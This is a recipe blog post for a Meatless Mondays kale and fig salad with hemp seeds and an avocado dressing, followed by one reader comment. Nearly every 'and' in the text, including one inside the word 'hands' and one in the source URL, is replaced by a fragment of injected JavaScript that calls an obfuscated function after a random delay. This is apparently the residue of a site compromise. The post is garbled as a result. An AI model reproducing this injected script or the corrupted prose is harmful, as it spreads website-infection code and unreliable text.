Meatless Mondays Kale & Fig Salad

Kale & Fig Salad

We normally get our kale on in the form of a smoothie or juice in the Y3 test kitchen, but we were searching for a salad that is cleansing, hearty, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and healthy as we transition through the cold andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wet spring season. Because kale is one of our favorite nutrient dense foods of all time, we chose this leafy green as the primary ingredient to work with. Raw kale leaves are difficult to digest for some people, so make sure to massage each one thoroughly with salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lemon juice so they would be more easily digestible. Also, remove the stems andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cut the remaining pieces into tiny strips.

For this salad, we used lacinato kale (also known as dinosaur kale), which is dark green in color andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and loaded with vitamins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and minerals. There are many varieties of kale & you may choose which ever you prefer, or even swap out kale for spinach or your favorite dark leafy green.  Kale carries a wide range of antioxidants andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and acts as an anti-inflammatory in the body.  With the addition of hemp seeds this is a powerhouse of a salad.  These tiny seeds include GLA (gamma linolenic acid), which decreases inflammation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lowers LDL cholesterol. Hemp seed contains easily digestible proteins, essential fats, antioxidants, vitamins, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and minerals that promote a healthy metabolism, boost the immune system, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and improve organ function. We LOVE kale andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hemp seed, Enjoy!

Kale andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Fig Salad

Kale

1 head of kale

juice of 1/2 lemon

pinch of salt

1 tbs. raw olive oil

1. Rinse kale leaves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pat off water with dish towel or paper towel.

2. Remove stem from each leaf.

3. Cut leaves into small strips andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and place in a bowl.

4. Add lemon juice, salt, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and olive oil to leaves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and massage thoroughly with handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands. (This will soften kale andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and reduce leaves in size.) Set aside.

Dressing

1/2 avocado

3 tbs. raw olive oil

2 tbs. raw apple cider vinegar

juice of 1 lemon

1/2 tbs. raw honey (or raw coconut sugar for vegans)

1. Place all ingredients in blender andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mix until well combined.

2. Toss dressing with kale leaves until mix well.

Toppings

6-8 dried turkish figs, stems removed

2 tbs. hemp seeds

1/2 cup raw nuts or seeds of choice (optional)

pinch of black pepper

1. Chop figs into small pieces.

2. Add all ingredients to kale salad. Enjoy!

Photos &  Recipe from http://www.pureandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andsimple.typepad.com Courtesy of Amy Jo Hearron

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2 Responses to Meatless Mondays Kale & Fig Salad

  1. Carlie says:

    love Amy Jo Hearron’s original recipes from her pureandsimple.typepad.com blog…glad more people are sharing her amazing work!!

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